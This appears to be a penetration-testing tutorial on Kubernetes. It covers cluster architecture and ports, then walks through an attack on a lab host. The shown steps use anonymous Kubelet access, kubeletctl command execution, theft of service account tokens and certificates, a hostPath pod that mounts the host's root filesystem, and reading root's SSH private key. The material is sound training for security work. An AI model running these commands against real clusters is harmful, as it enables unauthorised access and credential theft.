**Kubernetes**

[Kubernetes](https://kubernetes.io/), also known as K8s, stands out as a revolutionary technology that has had a significant impact on the software development landscape. This platform has completely transformed the process of deploying and managing applications, providing a more efficient and streamlined approach. Offering an open-source architecture, Kubernetes has been specifically designed to facilitate faster and more straightforward deployment, scaling, and management of application containers.

Developed by Google, Kubernetes leverages over a decade of experience in running complex workloads. As a result, it has become a critical tool in the DevOps universe for microservices orchestration. Since its creation, Kubernetes has been donated to the [Cloud Native Computing Foundation](https://www.cncf.io/), where it has become the industry's gold standard. Understanding the security aspects of K8 containers is crucial. We will probably be able to access one of the many containers during our penetration test.

One of the key features of Kubernetes is its adaptability and compatibility with various environments. This platform offers an extensive range of features that enable developers and system administrators to easily configure, automate, and scale their deployments and applications. As a result, Kubernetes has become a go-to solution for organizations looking to streamline their development processes and improve efficiency.

Kubernetes is a container orchestration system, which functions by running all applications in containers isolated from the host system through multiple layers of protection. This approach ensures that applications are not affected by changes in the host system, such as updates or security patches. The K8s architecture comprises a master node and worker nodes, each with specific roles.

**K8s Concept**

Kubernetes revolves around the concept of pods, which can hold one or more closely connected containers. Each pod functions as a separate virtual machine on a node, complete with its own IP, hostname, and other details. Kubernetes simplifies the management of multiple containers by offering tools for load balancing, service discovery, storage orchestration, self-healing, and more. Despite challenges in security and management, K8s continues to grow and improve with features like Role-Based Access Control (RBAC), Network Policies, and Security Contexts, providing a safer environment for applications.

Differences between K8 and Docker

| **Function** | **Docker** | **Kubernetes** |
| --- | --- | --- |
| Primary | Platform for containerizing Apps | An orchestration tool for managing containers |
| Scaling | Manual scaling with Docker swarm | Automatic scaling |
| Networking | Single network | Complex network with policies |
| Storage | Volumes | Wide range of storage options |

Kubernetes architecture is primarily divided into two types of components:

* The Control Plane (master node), which is responsible for controlling the Kubernetes cluster
* The Worker Nodes (minions), where the containerized applications are run

**Nodes**

The master node hosts the Kubernetes Control Plane, which manages and coordinates all activities within the cluster and it also ensures that the cluster's desired state is maintained. On the other hand, the Minions execute the actual applications and they receive instructions from the Control Plane and ensure the desired state is achieved.

It covers versatility in accommodating various needs, such as supporting databases, AI/ML workloads, and cloud-native microservices. Additionally, it's capable of managing high-resource applications at the edge and is compatible with different platforms. Therefore, it can be utilized on public cloud services like Google Cloud, Azure, and AWS or within private on-premises data centers.

**Control Plane**

The Control Plane serves as the management layer. It consists of several crucial components, including:

| **Service** | **TCP Ports** |
| --- | --- |
| etcd | 2379, 2380 |
| API server | 6443 |
| Scheduler | 10251 |
| Controller Manager | 10252 |
| Kubelet API | 10250 |
| Read-Only Kubelet API | 10255 |

These elements enable the Control Plane to make decisions and provide a comprehensive view of the entire cluster.

**Minions**

Within a containerized environment, the Minions (worker nodes) serve as the designated location for running applications. It's important to note that each node is managed and regulated by the Control Plane, which helps ensure that all processes running within the containers operate smoothly and efficiently.

The Scheduler, based on the API server, understands the state of the cluster and schedules new pods on the nodes accordingly. After deciding which node a pod should run on, the API server updates the etcd.

Understanding how these components interact is essential for grasping the functioning of Kubernetes. The API server is the entry point for all the administrative commands, either from users via kubectl or from the controllers. This server communicates with etcd to fetch or update the cluster state.

**K8's Security Measures**

Kubernetes security can be divided into several domains:

* Cluster infrastructure security
* Cluster configuration security
* Application security
* Data security

Each domain includes multiple layers and elements that must be secured and managed appropriately by the developers and administrators.

**Kubernetes API**

The core of Kubernetes architecture is its API, which serves as the main point of contact for all internal and external interactions. The Kubernetes API has been designed to support declarative control, allowing users to define their desired state for the system. This enables Kubernetes to take the necessary steps to implement the desired state. The kube-apiserver is responsible for hosting the API, which handles and verifies RESTful requests for modifying the system's state. These requests can involve creating, modifying, deleting, and retrieving information related to various resources within the system. Overall, the Kubernetes API plays a crucial role in facilitating seamless communication and control within the Kubernetes cluster.

Within the Kubernetes framework, an API resource serves as an endpoint that houses a specific collection of API objects. These objects pertain to a particular category and include essential elements such as Pods, Services, and Deployments, among others. Each unique resource comes equipped with a distinct set of operations that can be executed, including but not limited to:

| **Request** | **Description** |
| --- | --- |
| GET | Retrieves information about a resource or a list of resources. |
| POST | Creates a new resource. |
| PUT | Updates an existing resource. |
| PATCH | Applies partial updates to a resource. |
| DELETE | Removes a resource. |

**Authentication**

In terms of authentication, Kubernetes supports various methods such as client certificates, bearer tokens, an authenticating proxy, or HTTP basic auth, which serve to verify the user's identity. Once the user has been authenticated, Kubernetes enforces authorization decisions using Role-Based Access Control (RBAC). This technique involves assigning specific roles to users or processes with corresponding permissions to access and operate on resources. Therefore, Kubernetes' authentication and authorization process is a comprehensive security measure that ensures only authorized users can access resources and perform operations.

In Kubernetes, the Kubelet can be configured to permit anonymous access. By default, the Kubelet allows anonymous access. Anonymous requests are considered unauthenticated, which implies that any request made to the Kubelet without a valid client certificate will be treated as anonymous. This can be problematic as any process or user that can reach the Kubelet API can make requests and receive responses, potentially exposing sensitive information or leading to unauthorized actions.

**K8's API Server Interaction**

K8's API Server Interaction

cry0l1t3@k8:~$ curl https://10.129.10.11:6443 -k

{

"kind": "Status",

"apiVersion": "v1",

"metadata": {},

"status": "Failure",

"message": "forbidden: User \"system:anonymous\" cannot get path \"/\"",

"reason": "Forbidden",

"details": {},

"code": 403

}

System:anonymous typically represents an unauthenticated user, meaning we haven't provided valid credentials or are trying to access the API server anonymously. In this case, we try to access the root path, which would grant significant control over the Kubernetes cluster if successful. By default, access to the root path is generally restricted to authenticated and authorized users with administrative privileges and the API server denied the request, responding with a 403 Forbidden status code accordingly.

**Kubelet API - Extracting Pods**

Kubelet API - Extracting Pods

cry0l1t3@k8:~$ curl https://10.129.10.11:10250/pods -k | jq .

...SNIP...

{

"kind": "PodList",

"apiVersion": "v1",

"metadata": {},

"items": [

{

"metadata": {

"name": "nginx",

"namespace": "default",

"uid": "aadedfce-4243-47c6-ad5c-faa5d7e00c0c",

"resourceVersion": "491",

"creationTimestamp": "2023-07-04T10:42:02Z",

"annotations": {

"kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"nginx\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"imagePullPolicy\":\"Never\",\"name\":\"nginx\",\"ports\":[{\"containerPort\":80}]}]}}\n",

"kubernetes.io/config.seen": "2023-07-04T06:42:02.263953266-04:00",

"kubernetes.io/config.source": "api"

},

"managedFields": [

{

"manager": "kubectl-client-side-apply",

"operation": "Update",

"apiVersion": "v1",

"time": "2023-07-04T10:42:02Z",

"fieldsType": "FieldsV1",

"fieldsV1": {

"f:metadata": {

"f:annotations": {

".": {},

"f:kubectl.kubernetes.io/last-applied-configuration": {}

}

},

"f:spec": {

"f:containers": {

"k:{\"name\":\"nginx\"}": {

".": {},

"f:image": {},

"f:imagePullPolicy": {},

"f:name": {},

"f:ports": {

...SNIP...

The information displayed in the output includes the names, namespaces, creation timestamps, and container images of the pods. It also shows the last applied configuration for each pod, which could contain confidential details regarding the container images and their pull policies.

Understanding the container images and their versions used in the cluster can enable us to identify known vulnerabilities and exploit them to gain unauthorized access to the system. Namespace information can provide insights into how the pods and resources are arranged within the cluster, which we can use to target specific namespaces with known vulnerabilities. We can also use metadata such as uid and resourceVersion to perform reconnaissance and recognize potential targets for further attacks. Disclosing the last applied configuration can potentially expose sensitive information, such as passwords, secrets, or API tokens, used during the deployment of the pods.

We can further analyze the pods with the following command:

**Kubeletctl - Extracting Pods**

Kubeletctl - Extracting Pods

cry0l1t3@k8:~$ kubeletctl -i --server 10.129.10.11 pods

┌────────────────────────────────────────────────────────────────────────────────┐

│ Pods from Kubelet │

├───┬────────────────────────────────────┬─────────────┬─────────────────────────┤

│ │ POD │ NAMESPACE │ CONTAINERS │

├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤

│ 1 │ coredns-78fcd69978-zbwf9 │ kube-system │ coredns │

│ │ │ │ │

├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤

│ 2 │ nginx │ default │ nginx │

│ │ │ │ │

├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤

│ 3 │ etcd-steamcloud │ kube-system │ etcd │

│ │ │ │ │

├───┼────────────────────────────────────┼─────────────┼─────────────────────────┤

To effectively interact with pods within the Kubernetes environment, it's important to have a clear understanding of the available commands. One approach that can be particularly useful is utilizing the scan rce command in kubeletctl. This command provides valuable insights and allows for efficient management of pods.

**Kubelet API - Available Commands**

Kubelet API - Available Commands

cry0l1t3@k8:~$ kubeletctl -i --server 10.129.10.11 scan rce

┌─────────────────────────────────────────────────────────────────────────────────────────────────────┐

│ Node with pods vulnerable to RCE │

├───┬──────────────┬────────────────────────────────────┬─────────────┬─────────────────────────┬─────┤

│ │ NODE IP │ PODS │ NAMESPACE │ CONTAINERS │ RCE │

├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤

│ │ │ │ │ │ RUN │

├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤

│ 1 │ 10.129.10.11 │ nginx │ default │ nginx │ + │

├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤

│ 2 │ │ etcd-steamcloud │ kube-system │ etcd │ - │

├───┼──────────────┼────────────────────────────────────┼─────────────┼─────────────────────────┼─────┤

It is also possible for us to engage with a container interactively and gain insight into the extent of our privileges within it. This allows us to better understand our level of access and control over the container's contents.

**Kubelet API - Executing Commands**

Kubelet API - Executing Commands

cry0l1t3@k8:~$ kubeletctl -i --server 10.129.10.11 exec "id" -p nginx -c nginx

uid=0(root) gid=0(root) groups=0(root)

The output of the command shows that the current user executing the id command inside the container has root privileges. This indicates that we have gained administrative access within the container, which could potentially lead to privilege escalation vulnerabilities. If we gain access to a container with root privileges, we can perform further actions on the host system or other containers.

**Privilege Escalation**

To gain higher privileges and access the host system, we can utilize a tool called [kubeletctl](https://github.com/cyberark/kubeletctl) to obtain the Kubernetes service account's token and certificate (ca.crt) from the server. To do this, we must provide the server's IP address, namespace, and target pod. In case we get this token and certificate, we can elevate our privileges even more, move horizontally throughout the cluster, or gain access to additional pods and resources.

**Kubelet API - Extracting Tokens**

Kubelet API - Extracting Tokens

cry0l1t3@k8:~$ kubeletctl -i --server 10.129.10.11 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c nginx | tee -a k8.token

eyJhbGciOiJSUzI1NiIsImtpZC...SNIP...UfT3OKQH6Sdw

**Kubelet API - Extracting Certificates**

Kubelet API - Extracting Certificates

cry0l1t3@k8:~$ kubeletctl --server 10.129.10.11 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt" -p nginx -c nginx | tee -a ca.crt

-----BEGIN CERTIFICATE-----

MIIDBjCCAe6gAwIBAgIBATANBgkqhkiG9w0BAQsFADAVMRMwEQYDVQQDEwptaW5p

<SNIP>

MhxgN4lKI0zpxFBTpIwJ3iZemSfh3pY2UqX03ju4TreksGMkX/hZ2NyIMrKDpolD

602eXnhZAL3+dA==

-----END CERTIFICATE-----

Now that we have both the token and certificate, we can check the access rights in the Kubernetes cluster. This is commonly used for auditing and verification to guarantee that users have the correct level of access and are not given more privileges than they need. However, we can use it for our purposes and we can inquire of K8s whether we have permission to perform different actions on various resources.

**List Privileges**

List Privileges

cry0l1t3@k8:~$ export token=`cat k8.token`

cry0l1t3@k8:~$ kubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.10.11:6443 auth can-i --list

Resources Non-Resource URLs Resource Names Verbs

selfsubjectaccessreviews.authorization.k8s.io [] [] [create]

selfsubjectrulesreviews.authorization.k8s.io [] [] [create]

pods [] [] [get create list]

...SNIP...

Here we can see a few very important information. Besides the selfsubject-resources we can get, create, and list pods which are the resources representing the running container in the cluster. From here on, we can create a YAML file that we can use to create a new container and mount the entire root filesystem from the host system into this container's /root directory. From there on, we could access the host systems files and directories. The YAML file could look like following:

**Pod YAML**

Code: yaml

apiVersion: v1

kind: Pod

metadata:

name: privesc

namespace: default

spec:

containers:

- name: privesc

image: nginx:1.14.2

volumeMounts:

- mountPath: /root

name: mount-root-into-mnt

volumes:

- name: mount-root-into-mnt

hostPath:

path: /

automountServiceAccountToken: true

hostNetwork: true

Once created, we can now create the new pod and check if it is running as expected.

**Creating a new Pod**

Creating a new Pod

cry0l1t3@k8:~$ kubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.96.98:6443 apply -f privesc.yaml

pod/privesc created

cry0l1t3@k8:~$ kubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.96.98:6443 get pods

NAME READY STATUS RESTARTS AGE

nginx 1/1 Running 0 23m

privesc 1/1 Running 0 12s

If the pod is running we can execute the command and we could spawn a reverse shell or retrieve sensitive data like private SSH key from the root user.

**Extracting Root's SSH Key**

Extracting Root's SSH Key

cry0l1t3@k8:~$ kubeletctl --server 10.129.10.11 exec "cat /root/root/.ssh/id\_rsa" -p privesc -c privesc

-----BEGIN OPENSSH PRIVATE KEY-----

...SNIP...